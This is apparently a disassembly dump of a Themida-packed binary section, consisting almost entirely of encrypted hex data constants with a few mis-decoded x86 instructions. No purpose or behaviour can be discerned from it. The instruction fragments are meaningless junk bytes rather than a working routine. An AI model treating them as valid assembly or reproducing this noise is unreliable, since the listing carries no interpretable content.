		dd 0DD529548h, 0D4F30176h, 53188864h, 50A4525Ah, 522C05Bh
		dd 2D81BC94h, 4A425E25h, 0E03A06F8h, 33294C2Ah,	8962AB12h
		dd 517EE163h, 8B875DC3h, 103D0213h, 707375CFh, 0C9D8C091h
		dd 7AF312D4h, 0B9F0FECFh, 0F360290Ch, 64145987h, 82BB4562h
		dd 0CB015B01h, 61596D93h, 752CE960h, 6B68A4B8h,	55F2EB60h
		dd 2940130Fh, 8DB10CBh,	5D2E013Fh, 2BAA0929h, 0A801A8C6h
		dd 0C115351Eh, 68105EFh, 0D2E94703h, 438765E2h,	60633B3h
		dd 3F80685Ch, 51713385h, 0A72AD77Bh, 801FC35Ah,	0B5C00ECFh
		dd 2E5C0C5h, 94A749E9h,	6BDE4462h, 0B8154051h, 56C30061h
		dd 0E968D41Eh, 0ECA8B222h, 7514621Bh, 830264D8h, 8A5046EBh
		dd 65A2839Dh, 2D664AD9h, 1880089h, 0E0CAD537h, 0BF81A13Ch
		dd 768B3B04h, 81A0B4EBh, 262978BAh, 24A0D61h, 728F6C44h
		dd 8EEA4768h, 800F1D01h, 15AD689h, 0EC315EF1h, 4B053805h
		dd 9F41EE19h, 87D7F7FDh, 6AEADAD3h, 0A18E5A88h,	54F1E82Eh
		dd 0F3587338h, 1D888F4h, 0E909ECBBh, 8034E276h,	47B3C10Eh
		dd 0FAB1B8A0h, 7CE1F007h, 13ECEC02h, 0C0BE2723h, 8FF12DBFh
		dd 29E65107h, 0AB458C1h, 0E909CAF2h, 32A92C05h,	4E81B00Bh
		dd 51200168h, 335EBFC5h, 0F8832CB4h, 72A8F9Dh, 2B594FC9h
		dd 412E0406h, 80415132h, 24A4238Eh, 2454CA59h, 9CFDFDE9h
		dd 5AE22CBBh, 0A30BDD04h, 7D214EDEh, 40051E02h,	6F78170h
		dd 353BFF9Fh, 0BA80E157h, 0E1FAD26Bh, 740F37Ah,	31E9555Fh
		dd 67FB3B98h, 0BA635611h, 0E9580380h, 918644Fh,	0F015CB44h
		dd 4B37335Ch, 29F13C52h, 0BB594C7Ah, 0EB997C64h, 0F95F6EC1h
		dd 1A226800h, 9B10A426h, 252AC700h, 5C290FD2h, 2D209ED7h
		dd 0FFE0127h, 55414498h, 0A5F32907h, 60F68934h,	0D740AF5Dh
		dd 562D0905h, 3706794Ah, 0FAEDAD77h, 0A4BEE248h, 6357610Bh
		dd 64580446h, 0A1EF8805h, 58E2D419h, 4DAE32C6h,	0CE7E31C3h
		dd 22530CB3h, 0B810D20Bh, 0BE561646h, 68F3C533h, 8B3653Eh
		dd 0B38C695Dh, 40F80B4Fh, 2F92540Dh, 5CC6949Eh,	1D5B6062h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	eax
		mov	cl, 0F7h
		inc	edx
		sub	ebp, 17942546h
		movsd
		push	es
		aam	0BFh
		jnz	short loc_4EC258
		xor	ebp, ebx
		push	ss
		pop	es
		sub	[eax], esi
		insd
		xor	[edi-6Ch], dh
		add	[ecx+edi*4-5Bh], bl
		scasd
		or	ebx, ebp
		jmp	near ptr 2CA11A2Ch
; ---------------------------------------------------------------------------
		db 81h,	8Bh, 75h
		dd 0C851FDAh, 0A4326EDh, 0B91DDC0h, 5328EB02h, 26DF10C0h
		dd 9703CF43h, 0E349322Bh, 81D89C47h, 0B2F2B4h, 38F1051Ch
		dd 0D0F727C8h, 3F354000h, 251A6918h, 0F80A1E0Bh, 3BA3803Ah
		dd 0C63120B7h
; ---------------------------------------------------------------------------


loc_4EC258:				; CODE XREF: Themida_:004EC1FDj
		fsubr	st(6), st
		retn	0F948h
; ---------------------------------------------------------------------------
		db 96h,	0BCh, 40h
		dd 26C15E02h, 84402E3h,	8B0BFBECh, 4152CE04h, 66EF230Ch
		dd 80E312AEh, 250B5B8Ah, 8808438Dh, 171A2407h, 0AC8621EEh
		dd 85810527h, 0D52C7306h, 70FC0CA6h, 580BD092h,	4002E7C1h
		dd 50764B79h, 3DFACAABh, 0CA0E425Fh, 2249103Bh,	7393BD83h
		dd 0E2E060ABh, 7A303665h, 0EDA61801h, 31160337h, 6F6DE9D3h
		dd 1AF57906h, 34FA6C57h, 0B0163E4Eh, 3C3FF8Eh, 0C8D1F749h
		dd 3FC8DEF1h, 3124AE09h, 2124A764h, 5D37F07Eh, 0F18348B6h
		dd 0F1C9AEFBh, 500FC32h, 563A2131h, 65C4870Eh, 6CFE1A55h
		dd 150E76Dh, 0D4F67CB4h, 0CC60CC80h, 6CFCEE4h, 8AC42716h
		dd 5358E302h, 0B8245Eh,	0C6FE79B6h, 0F963E680h,	0C1AAF60Bh
		dd 0C8256CEh, 34A8E92Eh, 5239B694h, 0AD132C68h,	0EF305071h
		dd 934D92E8h, 510F3E5Fh, 40E4E189h, 781BE2F0h, 6542DF30h
		dd 2E5BE3C7h, 2ED32CAh,	191150F1h, 4E8BA3C0h, 536624C4h
		dd 81410DB1h, 4D645A04h, 0D4C5F29h, 305F4806h, 441E40A1h
		dd 90CC7A18h, 0A4C1650Ah, 0CECF80D2h, 0C5F527C8h, 6F091201h
		dd 1423201Ch, 1863B980h, 38643B2Bh, 0EE2C018Fh,	0A5247A77h
		dd 2AD5C908h, 6823200Fh, 7D13EBA0h, 3E4C9E24h, 0E90D1118h
		dd 3B0E598Ah, 27EE52C9h, 0DE32B6D2h, 5433E934h,	0DF891BD8h
		dd 422D1635h, 0D3015F8Fh, 4CAA4860h, 0B3A7826h,	0BBC80712h
		dd 8BA915Ch, 182F2679h,	0B8F22916h, 74FF2A2Ah, 92D5759Fh
		dd 421C4BDBh, 5A54525Dh, 77E95390h, 9E5C6440h, 9C66B6E7h
		dd 68B50654h, 12101525h, 6B39C201h, 29630C75h, 0BC5658C2h
		dd 0D9466602h, 0E45AD701h, 5456173Ch, 5A6035Eh,	4DD01D7Ah
		dd 6EBE94E9h, 68565300h, 2C143F13h, 8275E50h, 0C10001F8h
		dd 0EF2D02E8h, 0ADDF3D7Ah, 5A58C39Ah, 3FE96A21h, 840F7D83h
		dd 49125580h, 0A0EB5CF6h, 0B222A8DCh, 96E910EBh, 4937BD4h
		dd 0CB237AEh, 6DB313C0h, 6617C74h, 2B15F9CDh, 0ED1E1839h
		dd 5597FEF3h, 0F9E98A21h, 0B90734h, 4E230CDCh, 815EF131h
		dd 3511EE01h, 0CE0106EAh, 800C331h, 5295E959h, 0A854C548h
		dd 98CA59E6h, 1F3C6105h, 0A3F1907Dh, 824DE0C3h,	83B74483h
		dd 0F6B904F8h, 0B04020BBh, 84152036h, 6C31C996h, 0F333E125h
		dd 3E6A6808h, 3A2F8C2Eh, 0AEDE0017h, 2C72493Ch,	0A07C50E9h
		dd 9985EEEAh, 3DC200E2h, 29898FBFh, 9A397494h, 2521F4E9h
		dd 45F656CEh, 5F3508D6h, 118AA63Fh, 0E6A4923Ch,	4CF3F243h
		dd 0B1F0D475h, 2C129464h, 2B83E913h, 112415ABh,	2801C3EAh
		dd 5D3FE44Bh, 4F8EC8AEh, 0AC37E9E4h, 0D3F71638h, 706AB801h
		dd 6E817CDFh, 22C9829Eh, 5260E629h, 66806941h, 8CB20E52h
		dd 5AC1D328h, 38E5EB80h, 7FB10D3h, 56AB0F4Eh, 0BAD3582Ch
		dd 605CF10Fh, 7B8E459Ah, 0C730A8D1h, 0D476D7E0h, 0CB91DF10h
		dd 57042A49h, 1E50FEE9h, 0F70B522Eh, 30EC85D5h,	17934DA2h
		dd 2958AB2h, 5210A768h,	0A9AAD274h, 33304F31h, 0DA298072h
		dd 0F41C5B5Ah, 0F70A382h, 5154310h, 5968667Dh, 10B2E26Bh
		dd 5C3EC997h, 44F294AEh, 2CD5B1E0h, 28219252h, 9E163FC6h
		dd 3E638B96h, 0CECD003Ah, 43D94CC0h, 0E90D6F7h,	0F88EA504h
		dd 56A689A4h, 0FB6BE90Bh, 6EA04E14h, 4EC222BCh,	0F83083B3h
		dd 0E0F02D23h, 6A53A891h, 521CF8B0h, 5B2E1F87h,	40E2C878h
		dd 78686DBEh, 0CE953D61h, 176101DDh, 0B825A09Fh, 0A73F0C24h
		dd 5E98330h, 0B2ED92ABh, 42BF2439h, 0CAA4FB64h,	15466AA9h
		dd 0E4170D24h, 69612538h, 0E4376C93h, 49514E35h, 33645875h
		dd 96F0B73Fh, 11200E14h, 0F03F6306h, 9AF60081h,	464C2B0Fh
		dd 760EEC1h, 0A352FCCh,	2A6A803Fh, 24891A58h, 94AF515Ch
		dd 0F181B5B1h, 737FE268h, 5005C42h, 166931FCh, 39E9B080h
		dd 32F3A97Eh, 0DDC8CA30h, 4AC503D2h, 0C83EEB28h, 0C871413Ch
		dd 42970472h, 56AC68C2h, 0CB959BF9h, 0E5386FA7h, 47537A1Fh
		dd 38EFA401h, 527C6317h, 41BBE9C2h, 0BEC21554h,	0D4A5A223h
		dd 24A34674h, 85C15D54h, 0D56AB3E9h, 247AA109h,	1418B1C3h
		dd 380C5B3Bh, 1DDB3E90h, 250E926h, 0F9292E3Eh, 80F37E2h
		dd 21A346A9h, 823D645Ch, 0E95B3B02h, 70C61393h,	9CA3FC25h
		dd 0C7800621h, 0E30E068Ah, 4B5BFE88h, 71F880CEh, 0FCF3B753h
		dd 0E6487DCFh, 3EF1CC0h, 890296E9h, 109F7D73h, 6626CB98h
		dd 82F0EFC8h, 5A07DCE9h, 3D6125B4h, 50530F10h, 58D08839h
		dd 0D84B75C4h, 8AD9D937h, 6008F54Fh, 0E28F1A4Eh, 744A4D63h
		dd 0FF04F664h, 35007EACh, 311F7F47h, 126015Ch, 1E73B951h
		dd 0C6280881h, 672ECA58h, 253901F4h, 0F0491A4Ah, 0B9BC6226h
		dd 0D8531BEh, 0E5C09CB8h, 0C1480F02h, 36E508E0h, 1387532Dh
		dd 0C6F09737h, 13BF931h, 80F7ADEBh, 896BD7Fh, 811000DFh
		dd 7E46AEEDh, 1EC8378h,	6E5C11Ch, 6C0837FEh, 0D20CC99h
		dd 18307EF5h, 187B2955h, 0FE273694h, 256CB05Fh,	9E18E20Bh
		dd 61820CBFh, 6894C3E5h, 2439E4EBh, 6EC057C0h, 5F940271h
		dd 56510C05h, 0E8E4251Bh, 0D0342AC9h, 2805B3D6h, 41534A22h
		dd 0A7CC398h, 34E1D820h, 52A07814h, 6ED30BAAh, 0CA8E8492h
		dd 77AC5AC4h, 0E7DEF714h, 92EA210h, 0B86D1F6h, 5024001Bh
		dd 0C03EB0h, 0B65207E8h, 5AF0287Fh, 40312C3h, 1392C439h
		dd 233029DEh, 30DEE72Ch, 1C425A3Ah, 4E1BFCE9h, 365F2486h
		dd 32B6C2FBh, 7A8D960Fh, 0A76C0609h, 0CA175CA3h, 5C49B1E9h
		dd 2008D359h, 6CC92636h, 0E36B6EA5h, 8ABE003h, 0CF3654Ch
		dd 0C6BAA65h, 3213047Fh, 0B923E930h, 1AE72536h,	6B4D1A2h
		dd 5D1AAAE9h, 3B59E777h, 0F4BE02AAh, 60196938h,	1D21E6CFh
		dd 53C14FD7h, 83C80105h, 0BC7AE80Ch, 36EE00C0h,	16377B2h
		dd 0EF5E4CF0h, 1202583Ch, 6FF2E940h, 3F495481h,	4ADE4128h
		dd 0F780002Bh, 7D219850h, 0EEC88371h, 777004C9h, 59E41AB0h
		dd 0D838FD83h, 56E91751h, 0F8333D48h, 8197CDADh, 0A4C2804Eh
		dd 0EB48D3C1h, 0FE7640AFh, 405ECB77h, 0CED3810Ah, 954B9C1Eh
		dd 0C54B681Dh, 78A99602h, 539413E9h, 0B868E782h, 615D7129h
		dd 23F36AE9h, 0CB8913AEh, 4D473706h, 0B157F269h, 0D2A3EFAh
		dd 0F75033FCh, 0BFF858B2h, 0A85C3970h, 450A1691h, 4C972DCCh
		dd 1C5AD0Fh, 7222DDD8h,	6CE98472h, 0BEECAA94h, 0A751E8E4h
		dd 0C4E58CA8h, 0D86FF7CAh, 0DE592604h, 0D1312F12h, 6F3A233h
		dd 77338CDCh, 4D4E4C92h, 64D36980h, 4DEB9822h, 294A74A8h
		dd 7491F987h, 8400BDD3h, 5367552Ah, 0A38DEBBh, 0DD31660Ch
		dd 843F3574h, 0B8FE40DFh, 361D1B66h, 86C70926h,	0E12F700h
		dd 0B6897711h, 62DF2C3Fh, 5203F5BEh, 2758A9BAh,	9716807Ah
		dd 2E004056h, 670E6EBEh, 92C6312Ah, 0CA514BD2h,	588E76E8h
		dd 0F0071F5Ch, 10012353h, 0D62959CEh, 3D92E971h, 5A69D5F6h
		dd 311FA3B8h, 0F993CFh,	5E7C108h, 435BBD55h, 1280FF8h
		dd 0D54199EFh, 2FDCAF40h, 482E7DB9h, 8990F8D3h,	3B477860h
		dd 0B1980F94h, 5E3C5036h, 3DE207A4h, 1B49528Eh,	4AE36900h
		dd 0CC11B91h, 943FB61h,	46C7043Ah, 108EA35Eh, 661250B0h
		dd 0E1B8B421h, 0CAF5B2FDh, 7DA6E888h, 49BD9405h, 1A80E8F2h
		dd 0C2C7C3C0h, 0C8ACE3C1h, 0E6FC32F1h, 0F0707FDEh, 1A1A534Ch
		dd 0A27307D5h, 6E5457E1h, 2C0790B8h, 4BB80996h,	58C66890h
		dd 0C389AFB1h, 4959F980h, 1E33C602h, 782BFF1h, 0C07FA448h
		dd 910E447h, 0D9F713CAh
		dd 6909CCF8h, 0E01164Ah, 0D5C072E4h, 16473DE6h,	49C2E97Dh
		dd 0C51321A5h, 45D08AD2h, 0E65A51h, 5DE8293Eh, 450BE491h
		dd 90F7E649h, 74BA0EA8h, 0E6416C81h, 304863ECh,	9F09F6F7h
		dd 847CE40Bh, 0C6C002CEh, 4591ACD8h, 30634453h,	335AD083h
		dd 817767C4h, 1E25C6A4h, 0DA3B382Dh, 825E2FA0h,	0BE8DD6A6h
		dd 0B9DB4319h, 0A1904108h, 0B79C4A1Ch, 31334002h, 0F48D06D3h
		dd 9EC56A20h, 55D1021Dh, 0C7646974h, 7C825778h,	0C2B34383h
		dd 0C9222C50h, 1291440h, 51DB05F8h, 2B5F1746h, 3C2B6704h
		dd 0A2CE251Eh, 96D31C40h, 4C492577h, 20C435EAh,	561238A8h
		dd 18B170FEh, 5F828701h, 6AE9BD30h, 4EE1AF72h, 435C40DAh
		dd 66DB6861h, 0F3C83648h, 0B54C6705h, 5A789155h, 90E3659h
		dd 0E428F268h, 0FCBE0471h, 0B042436Eh, 7EF6E6EAh, 0F74BD328h
		dd 3324683Fh, 0ED6C0C67h, 0F10190C0h, 8199975Eh, 12A148FFh
		dd 5095768Ah, 49E638B0h, 0FED0F602h, 78132CC0h,	0F5033715h
		dd 953CA8F5h, 14DAE66Bh, 85760620h, 8533B3Fh, 78CB535Eh
		dd 8356529h, 5B1DF840h,	7800788h, 26D7315Ah, 470108FAh
		dd 105FCF81h, 0A0430CCBh, 0F114D385h, 730FD01h,	0FABD8046h
		dd 0E0BA7A1Eh, 1438818Ch, 88C226B2h, 0F580053Bh, 897E471Ch
		dd 5FFD72D3h, 0D9626EDAh, 8E96920Dh, 5F0C76B3h,	0FEBB533h
		dd 2CB4617Eh, 68674352h, 0C7125141h, 3CCC7CC7h,	883F12B7h
		dd 3038CCF8h, 8212C549h, 0F059EC88h, 412BB093h,	115A312Dh
		dd 2F7BC6A3h, 0AB235529h, 90C12F17h, 32DB9327h,	30C89CA1h
		dd 1BC1E189h, 552644C3h, 28E65088h, 53ABB03h, 2AA4EF59h
		dd 503B55E8h, 92424C16h, 19F884C1h, 28762C0Ah, 203D90D0h
		dd 0F7079501h, 13CF25F9h, 197D02C7h, 0FC70574Eh, 0D420ED09h
		dd 0E9690556h, 0DA5F0709h, 49570F15h, 65C9050Dh, 0C4D8F42h
		dd 59CB542Ch, 9AE94247h, 0C7BA89C8h, 2F13451Bh,	0BD4E90F2h
		dd 0BD294D24h, 49E90840h, 830F0B9Dh, 8E0402C1h,	0D0F8C82Ah
		dd 6E00B12h, 294B6C16h,	0F7C8695Ah, 485068ECh, 54C5C973h
		dd 1E3AB75Eh, 16C256BFh, 0DC3CA1E9h, 0C1094F78h, 0F3092A40h
		dd 754021FEh, 2BB00905h, 0C2851730h, 81070E2Dh,	4D4D412h
		dd 0AD4A25C7h, 15073CF1h, 4CC50DD7h, 190F7B39h,	0BC6A8044h
		dd 2CCD57D3h, 0C01B1441h, 8D04A907h, 58FAF8DCh,	3DA49205h
		dd 0D9641E7Ch, 13DB6E01h, 1F50C531h, 0C4A852Eh,	0BE12C054h
		dd 0C8B0A432h, 22B8E90Fh, 794B9DC9h, 234D1A01h,	0ECC209DEh
		dd 0ADB4F0BAh, 5F5DD2ECh, 9DD8515h, 2778FAA2h, 0FF4836FCh
		dd 0E9C0B82h, 51251A51h, 0D541064Bh, 9C581B4Eh,	62289D13h
		dd 0D4F84B4Fh, 3F8BFCD6h, 46255858h, 0BD37DB90h, 0A449F927h
		dd 0CCA00F4Ah, 80B10EB2h, 0C26753EAh, 10D00518h, 20964E3Bh
		dd 6A70684Ch, 385434A9h, 2402A20Bh, 80D11887h, 522A0AEBh
		dd 1BF135B6h, 0C1075732h, 0C128C7B0h, 8EEB5887h, 0BDE12F9Ch
		dd 8EB8F189h, 19FE5EE0h, 0EA673F2Fh, 31B9E1E3h,	29C28671h
		dd 0B0929984h, 5B050526h, 0FA011D13h, 0E983A9A2h, 0C912556Dh
		dd 6F1153E1h, 0AC5A3CE5h, 0BD00B7FBh, 57E34CD5h, 1C50183h
		dd 94BF581h, 0EA1F70D1h, 0C42C8B25h, 99E9246Bh,	0A071A84Bh
		dd 1925F72Fh, 0C0AFB24h, 0C067D14Dh, 0B90E5147h, 0A56F8759h
		dd 0C683CF01h, 813B5BC7h, 76443A21h, 10855643h,	0C001BE96h
		dd 0F78005E7h, 5BFEC053h, 501E2873h, 0F4CFBBB4h, 58E604A8h
		dd 0F6F0DFD9h, 91A9E76h, 4F432EE9h, 24C7EA05h, 8AB858B6h
		dd 0E0C58101h, 60C0D403h, 6182594Eh, 0DEC158A2h, 601C0730h
		dd 0B1513EE7h, 0CB0908B9h, 85EBC059h, 8894C14Ah, 40F3C5E4h
		dd 35FC5701h, 605D26FDh, 0E87C4A06h, 8E32900Ch,	85F6B9D4h
		dd 5E6CE0E9h, 0F68D0B0Bh, 8381A3ABh, 0D95EF589h, 5D6224EFh
		dd 8A129695h, 0A398DA06h, 1DB813D1h, 0ED6EDD4Bh, 5A2890h
		dd 57685150h, 0F87C4533h, 1F809D13h, 5B55535Dh,	0D51FF7E8h
		dd 0A689EB87h, 7C9EA039h, 0B05F0824h, 8D0F4A86h, 16C7209Ah
		dd 3E465C4h, 54F1540Bh,	621C748h, 778BE941h, 0C30017BBh
		dd 56446D1Dh, 22EC4D68h, 0A15E482Eh, 0E9F985B9h, 0CCD124C4h
		dd 6C162B13h, 6574BD01h, 70BE1D63h, 0EE310B81h,	6FD7CAE9h
		dd 7C1265Fh, 0DE896E1Ah, 542E5E01h, 0F1ACC28Bh,	2104B0DEh
		dd 2EED1C4Fh, 52BD3CC5h, 0CD4E44FAh, 5A58055Bh,	9002E609h
		dd 39515205h, 0EE0EFD88h, 5D65359h, 7260615Ch, 0C856F99Dh
		dd 272B672Dh, 849DB866h, 0E61033DFh, 0E8242D2Fh, 5CEFFC60h
		dd 2B15D27Dh, 94AD2750h, 0EE832D2Ah, 26E965A2h,	0EE9BC270h
		dd 9294FD3Dh, 9A1A52Ah,	96DB4045h, 4F76622Fh, 0C187EF8h
		dd 47182D1Dh, 11DB2F07h, 48924D63h, 0B91C4450h,	1F667779h
		dd 0C87A853Eh, 1BBCFDD7h, 0D3F80117h, 313BC762h, 0B3446F80h
		dd 0EF8156C0h, 15102F1Fh, 73689700h, 314CACE7h,	0A05026Fh
		dd 0C134956Ch, 7442DEFh, 0A279EC0Ah, 0FACE0150h, 25654F77h
		dd 995D87C2h, 1786F49Ah, 5EAE1017h, 7ADBCF00h, 0EFD120D0h
		dd 0E296B752h, 0C5052BE0h, 3E9C13Bh, 5E2599B8h,	6850D603h
		dd 0F090E8A4h, 9D1C4721h, 6003F190h, 9CB09D9Bh,	162741BFh
		dd 52291DD7h, 0D2CCB207h, 0F5010D38h, 2F2018A0h, 1A00FBE9h
		dd 0CAFE64B2h, 0C4EAC026h, 88D08239h, 0C0665AD7h, 64E94D74h
		dd 955D5127h, 0A9DA95C4h, 0F9F784E9h, 43C153D4h, 55026174h
		dd 5D974C56h, 685FE120h, 8C4D4F3Fh, 0E838B9D3h,	0CB12E415h
		dd 5D5F4288h, 0DA18AE3Ah, 5356C042h, 30920139h,	1CEBF6D3h
		dd 1F95302Eh, 0F9F8DA0Ch, 0EE312724h, 5925C989h, 0B1859365h
		dd 8E3D28AAh, 0B4322025h, 0FE8C172h, 23FE2D08h,	0A5CA94F7h
		dd 301A31B1h, 687D40FEh, 91CC1A5Fh, 8573E138h, 4A35DF5Fh
		dd 0FB8F428h, 60341FE8h, 5F4C1C0h, 17632C8h, 8839990h
		dd 255AE6AAh, 0EFF2ED62h, 21B5D464h, 0E9693137h, 62063F33h
		dd 98C4D35Ch, 0BADC2DBAh, 19B00944h, 6D0231B0h,	0E944A868h
		dd 1D4AF402h, 780D8956h, 749341F9h, 0E91682E3h,	0FE6DC0DDh
		dd 0D779F6CFh, 68E20825h, 80282058h, 19055BBDh,	0DDF7721Ch
		dd 0F3503DC0h, 0E98413EDh, 0BBCB40B5h, 17850F79h, 26D3F73Eh
		dd 3BFC214h, 669D1C77h,	0D9DE9759h, 0AD1279C7h,	0C08BE861h
		dd 293F5E39h, 212A13D8h, 3AC42347h, 0FE0AEC31h,	0FF25E1DAh
		dd 668F02Ch, 0E96C02E6h, 0C96E6497h, 0E53CB62Fh, 42162414h
		dd 68024332h, 41306A76h, 222BE355h, 0B27257B8h,	8D2D5C30h
		dd 6F2803C1h, 0D9A465CFh, 29E61238h, 0C2445D27h, 0E9897894h
		dd 7E544287h, 0BB94CBCDh, 8A085F91h, 7FC38210h,	0C7603D4Eh
		dd 0FDABEDE4h, 74BA9C05h, 2B8241B9h, 8457E5D1h,	0AB54F9E9h
		dd 0EAFD64h, 2A1F208Ah,	3500BE56h, 8163E721h, 44F36CEh
		dd 7CE94AE6h, 6A868D3Ch, 0B78F3117h, 82D36950h,	290BF179h
		dd 2721E5D9h, 0AF52EE29h, 31B1559Ah, 6AA8D368h,	0FD8BF991h
		dd 9F0EE65Fh, 631C106h,	95E90DC2h, 205D44D2h, 0FD962F77h
		dd 4E9D7A95h, 0D42C9534h, 0CE6915Ch, 0BA2503FCh, 62147607h
		dd 0E23BE961h, 2C0F4D80h, 74E712C3h, 1FB300CEh,	0F71E355Fh
		dd 7FE9D60Bh, 5FB2B11h,	0E5C7C729h, 0CC65F947h,	6788B913h
		dd 5B5839E1h, 59CB257Fh, 0BE92E98h, 1992DE5Ah, 987F7001h
		dd 0B0ED05EEh, 1D286F3Fh, 934B8298h, 0E8C12148h, 0BB38BAC1h
		dd 0BE3CE0AFh, 5E7B07EAh
		dd 4CA820Ch, 7969B05Eh,	0AABD402Ch, 59987231h, 5D0E3D9Ch
		dd 0FFE57229h, 82AA0F06h, 8073F42Dh, 180B55D5h,	2896A3E9h
		dd 9232AD26h, 6D9205h, 284053FCh, 0D34F5804h, 143EE909h
		dd 2224DDC8h, 0DBC5E82h, 93062BC7h, 34914D2h, 0EC648220h
		dd 24ED51FFh, 714613A5h, 635D6A12h, 0E9540B01h,	5A2D231Dh
		dd 699EB951h, 0A5009865h, 76EA6C45h, 13CD754Dh,	16FC352h
		dd 145E7085h, 0B824874Eh, 86CBC774h, 1E08B7h, 0D5840599h
		dd 70E9E829h, 0F850361h, 68D002B6h, 413D9C71h, 24B7EEE9h
		dd 0CD480162h, 20BB0211h, 0FC640739h, 44928ECh,	51AA411Dh
		dd 4DBF8242h, 5D161C51h, 2CF5DC04h, 7E14330Dh, 0CE54E46h
		dd 4B20EBF1h, 1F511F76h, 21E84C3Ch, 4F9CF81Bh, 9781A359h
		dd 0DD1CCEBBh, 5F68E822h, 44F7B7A9h, 0A21FC7C6h, 0AA986AC6h
		dd 3028F3B5h, 0DEBCB9EFh, 88048359h, 0C705FE0Ch, 28BEEF80h
		dd 0E664F4A6h, 61D2E516h, 0A255D25Eh, 51276BEEh, 1B0C959Ch
		dd 0ADA5D730h, 0BF96D831h, 6231D652h, 49CA9BE9h, 0F2530E7Ch
		dd 961A58EFh, 6C97BC7Fh, 3B9A92D6h, 5B09B350h, 8E80CDFEh
		dd 0ACF56036h, 16B25250h, 0F042E90Ah, 531EB688h, 94A9EB68h
		dd 0D8E724B2h, 0EDC003ABh, 0D0DDF607h, 35B9E9A9h, 53212BAFh
		dd 1E531D4Ch, 194A4E9h,	92FAF451h, 5195454h, 20C0922h
		dd 0E2C1C2C0h, 9AE93505h, 0DE58149h, 0A52D2B21h, 0E636137Bh
		dd 0B475D2Dh, 3C88566h,	2E38AE6h, 81B551A5h, 0C67EE828h
		dd 82E0442h, 4E06CBACh,	0ABF40F2Bh, 0E5B6287Eh,	788B8067h
		dd 4C50FF6Ch, 0C006DFE9h, 65E5C94Dh, 0D17C2AE3h, 0C1D9F71Bh
		dd 3F40EF6Ch, 28546FDEh, 2DD0C831h, 34921EB3h, 3BEBE35Ah
		dd 21BAAC74h, 0A7B89A55h, 1AC640D2h, 12119D4Bh,	0D0092ADEh
		dd 317D535Bh, 3AE86280h, 0D155AF33h, 229771DAh,	29CDA05Eh
		dd 0A85A8333h, 79778864h, 539F2AE9h, 0C0584941h, 7B16882h
		dd 0B3283071h, 59E90340h, 0F709D58Fh, 4EF087D2h, 1C7A5F16h
		dd 73BE404h, 0B15882B7h, 1103B248h, 4F719B4Ch, 21A0E7F8h
		dd 176883Bh, 3F30D0EFh,	2D9C10Fh, 0E2CBB486h, 0CF50BA71h
		dd 674BD3A8h, 0FC3AE28h, 0ED02E3Ah, 16C1EB81h, 0DEDA414Ah
		dd 80A20427h, 123B44Ah,	0F55FFA24h, 0B85709C3h,	4B61685Ah
		dd 2436CF45h, 57935D99h, 18549001h, 2920104Bh, 0F57B320h
		dd 65A753D2h, 0DE54E257h, 0C5807FFCh, 6859E81Bh, 8C5E4A91h
		dd 22752A0Ah, 0C8E94513h, 332AA1E1h, 7BE2D95Ch,	6FA4D2F8h
		dd 48D09A25h, 2C296071h, 225B157Ah, 5014FEACh, 0F78F17h
		dd 7D58161Ah, 59E9F989h, 0A449D75Ch, 0F59599F8h, 520A7E11h
		dd 6858C156h, 78501852h, 9EC4FAE9h, 0D5584402h,	84A4BD79h
		dd 2EE25EF2h, 3B1BA492h, 834065Eh, 4A42BB63h, 35429EBh
		dd 7F0B4E1Fh, 2D8F75Dh,	0F2216045h, 0F88A01E6h,	0EB29B69Ah
		dd 3842E5Dh, 0E0E885D4h, 67195510h, 0D483EAB6h,	564E25F2h
		dd 68585ED9h, 877E531Fh, 16BDCE50h, 0A0010467h,	0FD4BE99Bh
		dd 0E3BF0B30h, 608254Fh, 0BA274E78h, 0B73E661Fh, 6EFA7222h
		dd 11B20BEBh, 0DE6F2C74h, 8CF35B5h, 0CB5D110h, 0EFF9F65Ch
		dd 9319B6CCh, 0EB67208Ch, 0E5121FA7h, 9E940105h, 0C3B908h
		dd 7EFC0E2Dh, 0CAC509C5h, 44C0E5D1h, 5DDD3052h,	65D5D53Eh
		dd 0F7FFF600h, 599CE9FEh, 8E0EADB9h, 0A9352F01h, 894A00D7h
		dd 13B6CCC9h, 655D76E9h, 8FBCA41h, 15E71E9h, 2473AFB8h
		dd 5C23706Bh, 0CAE88628h, 6C39C407h, 0A6F012Dh,	581E08EEh
		dd 7D694583h, 40F0F309h, 0F1E9088Ah, 0E531064h,	0F9B1C8B7h
		dd 8A25BE1Ch, 68127A66h, 0D8AC63B8h, 120FD9C4h,	705BD582h
		dd 9AF3543Ch, 3585B35Ah, 54AD300Ch, 6CA90558h, 2056EA6h
		dd 74F55F29h, 86454B26h, 417D6841h, 4AABB804h, 0E25CF1C3h
		dd 0A0D4D046h, 1F6609B6h, 1C4E797Ch, 4F16A14h, 0ECA031F7h
		dd 65148056h, 3714D550h, 40FFFB29h, 0F84DE908h,	7255B30h
		dd 3E611644h, 0D130B903h, 0CE8943E8h, 0F0315918h, 94CAE9B3h
		dd 600D01ECh, 0CC7C652Dh, 4AE4661Bh, 9E58958h, 0C55F5257h
		dd 4DCE3D16h, 0C450E778h, 6A13BBBEh, 9F0912CCh,	4EBE70D7h
		dd 1758D459h, 9B1B6C3h,	534CAFE9h, 75A5BD1Eh, 5DE86AE8h
		dd 68A2D07h, 84D231ABh,	719A5D6Bh, 0B2F6F364h, 0C1D693B5h
		dd 2C571133h, 90282182h, 772F6ABh, 0FE31609Ah, 0C780E35Fh
		dd 1A0BC105h, 8A807ABCh, 0AF15D85h, 0D252E966h,	757240D5h
		dd 46015307h, 65AFF681h, 308159F9h, 310F37B5h, 0F81A9D4Eh
		dd 403BFFCBh, 0D629E99Ch, 84F1C791h, 662FE04Ch,	0EF1810Ch
		dd 4A280B17h, 2550D59h,	5F5A6012h, 0B95971FDh, 196A9F10h
		dd 59CB2947h, 9FC46D1Fh, 3ECA149Bh, 2C0FF2F3h, 8F1E37C2h
		dd 0D031C05Eh, 80EE2DE9h, 0B2B7505Ah, 4BE4F91Ch, 0BB0FD702h
		dd 0BA88755Ch, 11831B1h, 0A248EF54h, 1BAD3071h,	7F4DD2B9h
		dd 4868129Ch, 0D0929276h, 9F270ECh, 939B124Dh, 0DA843A24h
		dd 73E3B6C0h, 78275C58h, 0E418EA38h, 56300C63h,	0E93C4B09h
		dd 12637AE5h, 146E19EBh, 8779276h, 142866Bh, 520008A0h
		dd 6172E3BAh, 5DECE902h, 0E6179315h, 4952B608h,	620A975Fh
